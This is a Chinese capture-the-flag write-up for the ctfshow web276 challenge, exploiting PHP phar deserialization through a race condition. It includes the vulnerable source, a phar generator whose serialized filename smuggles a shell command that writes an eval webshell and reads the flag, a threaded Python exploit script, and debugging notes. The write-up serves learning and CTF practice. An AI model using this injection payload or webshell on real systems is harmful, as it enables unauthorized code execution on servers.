web276 phar反序列化
对phar的利用当时学的时候是半知半解,导致写这题花了好久,又无wp,最后然后尝试用单步调试解决了
<?php
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
解:
生成phar:
<?php
class filter{
public $filename = "1|echo '<?=@eval(\$_POST[1])?>'>>1.php;tac f*";
public $filecontent;
public $evilfile = true;
public $admin = true;
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new filter();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
先上exp:
import requests
import threading
import base64
thread_num=10
thread_list=[]
url = 'http://79529c41-3bf4-48da-bac0-ab164e6811b7.challenge.ctf.show:8080/'
f = open('./phar.phar', 'rb')
data = f.read()
flag = False
def work5():
global flag
#?fn=phar://./phar.phar/
#?fn=phar://phar.phar
r = requests.post(url+"?fn=phar://phar.phar",proxies={'http': '127.0.0.1:2021'})
if "ctfshow{" in r.text:
print(r.text)
flag = True
with open('./flag.txt','w+',encoding = 'utf-8') as f:
f.write(r.text)
def work6():
global flag
r = requests.post(url+"?fn=phar.phar", data=data,proxies={'http': '127.0.0.1:2021'})
if "ctfshow{" in r.text:
print(r.text)
flag = True
with open('./flag.txt','w+',encoding = 'utf-8') as f:
f.write(r.text)
def work7():
global flag
r = requests.post(url+"?fn=/var/www/html/phar.phar", data=data,proxies={'http': '127.0.0.1:2021'})
result = requests.get(url+"?fn=phar://phar.phar",proxies={'http': '127.0.0.1:2021'})
if "ctfshow{" in result.text:
print(result.text)
flag = True
def run():
global flag
while not flag:
print('retry')
"""
方法一:非预期
"""
work7()
"""
方法二:预期,条件竞争
"""
#work5()
#work6()
if __name__ == '__main__':
while thread_num:
t = threading.Thread(target=run)
thread_num-=1
t.start()
thread_list.append(t)
for i in thread_list:
i.join()
实践疑问及解答:
#实践
#?fn=phar://phar.phar
#?fn=phar://./phar.phar 和?fn=phar://phar.phar/
"""
警告,不生成
Warning</b>: file_put_contents(phar://phar.phar): failed to open stream: phar error: file "" in phar "phar.phar" cannot be empty in <b>/var/www/html/index.php
Warning</b>: copy(): The first argument to copy() function cannot be a directory in <b>/var/www/html/index.php</b> on line <b>48</b><br />
Warning</b>: unlink(/var/www/html/phar://phar.phar): No such file or directory in <b>/var/www/html/index.php
因为目录下无phar.phar文件,故报错
"""
#羽师傅的解法
#?fn=a
"""
生成空txt
因为:无post数据
"""
#方法一
#?fn=/var/www/html/phar.phar会生成phar.phar文件
#原因在于:file_put_contents($_GET['fn'], $content);能生成phar.phar文件(绝对路径),但unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);中fn与当前路径拼接会导致删除失败,故成功生成phar文件
#但如果竞争就会生成部分空文件和部分phar内容的TXT,而且不生成phar.phar文件,不懂。。。可能冲突了?多线程没学好
"""
unlink(/var/www/html//var/www/html/phar.phar): No such file or directory in <b>/var/www/html/index.php
"""
#假如phar.phar文件存在,则?fn=phar://phar.phar触发反序列化
"""
Warning</b>: file_put_contents(phar://phar.phar): failed to open stream: phar error: file "" in phar "phar.phar" cannot be empty in <b>/var/www/html/index.php</b> on line <b>47</b><br />
Warning</b>: copy(): The first argument to copy() function cannot be a directory in <b>/var/www/html/index.php</b> on line <b>48</b><br />
Warning</b>: unlink(/var/www/html/phar://phar.phar): No such file or directory in <b>/var/www/html/index.php
"""
方法二:
"""
实践后发现
通过条件竞争,先?fn=phar.phar,data=数据,生成phar.phar
然后?fn=phar://phar.phar
unlink()/copy()/file_put_content()都可以触发phar反序列化
但unlink前面有路径阻隔,本来想../绕过,发现..被过滤
"""
我觉得Y4师傅的wp写错了
怀疑错在,生成了a文件但用了phar://phar.phar,读不到文件,应该是phar://a,实践后失败
想起phar文件必须是phar后缀才行,换成a.phar和phar://a.phar即可